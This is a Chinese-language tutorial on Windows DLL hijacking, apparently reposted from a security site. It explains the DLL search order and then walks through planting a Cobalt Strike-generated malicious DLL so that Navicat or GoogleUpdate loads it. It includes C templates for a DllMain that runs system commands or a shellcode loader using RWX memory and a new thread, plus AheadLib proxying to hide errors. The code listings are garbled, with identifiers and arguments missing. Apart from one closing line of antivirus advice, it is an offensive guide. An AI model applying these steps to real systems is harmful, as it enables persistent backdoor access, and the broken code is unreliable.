https://www.toutiao.com/article/7236916390161285647/?log_from=f94f9932b0bee_1685114308021
在 Windows 中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即 DLL 文件,放置于系统中。当我们执行某一个程序时,相应的 DLL 文件就会被调用。一个应用程序可使用多个 DLL 文件,一个 DLL 文件也可能被不同的应用程序使用,这样的 DLL 文件被称为共享 DLL 文件。
如果程序需要加载一个相对路径的 dll 文件,它将从当前目录下尝试查找,如果找不到,则按照如下顺序寻找:
Windows 查找 DLL 的目录以及对应的顺序:
Windows 查找 DLL 的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:
HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为 1
从 Windows7 之后,微软为了更进一步的防御系统的 DLL 被劫持,将一些容易被劫持的系统 DLL 写进了一个注册表项中,该项下的 DLL 文件就会被禁止从 EXE 自身所在的目录下调用,而只能从系统目录 SYSTEM32 目录下调用,其注册表位置:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs
https://github.com/wietze/windows-dll-hijacking
python generate_pmc_files.py
https://github.com/knight0x07/ImpulsiveDLLHijack
编译完成后,把 Prerequisites 文件夹里的内容拷贝至 ImpulsiveDLLHijack 项目里
ImpulsiveDLLHijack.exe -path xxx.exe
这里使用 navicat 进行测试,可见运行的时候会加载
C:UsersdyyAppDataLocalProgramsPythonPython38Scriptsoci.dll
使用 cs 生成恶意 dll,重命名为 oci.dll 后放置到该目录下
Process Monitor 查找可用 dll,设置如下图所示
配置完可以保存导出配置,下次直接导入使用
使用 GoogleUpdate.exe 进行测试,运行程序 filter 加载所使用的 dll 文件
这里可以看出来,当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件
编写一个基础的弹窗 dll
#include <Windows.h>
#pragma
BOOL APIENTRY {
(ul_reason_for_call) {
DLL_PROCESS_ATTACH:
DLL_PROCESS_DETACH:
DLL_THREAD_ATTACH:
DLL_THREAD_DETACH:
;
}
TRUE;
}
extern __declspec(dllexport) int {
MessageBox(NULL, , , MB_OK);
;
}
#include
#include<stdlib.h>
BOOL APIENTRY
{
(ul_reason_for_call)
{
DLL_PROCESS_ATTACH:
system();
DLL_THREAD_ATTACH:
DLL_THREAD_DETACH:
DLL_PROCESS_DETACH:
;
}
TRUE;
}
cs 生成 c 的 payload
生成的 payload 填入到下面相应的位置上
HANDLE hThread = ;
;
unsigned char shellcode[] = ;
{
LPVOID lpBase = (, (shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
(lpBase, shellcode, (shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
();
;
}
{
(dwReason == DLL_PROCESS_ATTACH)
{
(hModule);
hThread = (, , jmp_shellcode, , , );
}
(dwReason == DLL_PROCESS_DETACH)
{
}
TRUE;
}
运行 navicat 程序就会上线
有时候当我们替换 dll 后,虽然可以执行命令,但是会产生报错
这时候我们可以使用 AheadLib 工具,使恶意的 DLL 将原有的函数转发到原 DLL 中并且释放恶意代码
打开工具导入 dll 文件,会生成相应的 cpp 文件
直接转发函数,我们只能控制 DllMain 即调用原 DLL 时触发的行为可控
即时调用函数,可以在处理加载 DLL 时,调用具体函数的时候行为可控,高度自定义触发点,也称用来 hook 某些函数,获取到参数值
安全建议:电脑防病毒软件请一定安装并及时更新病毒库,目前有多数杀毒软件能及时阻拦dll劫持行为。
from https://www.secpulse.com/archives/200972.html
联系客服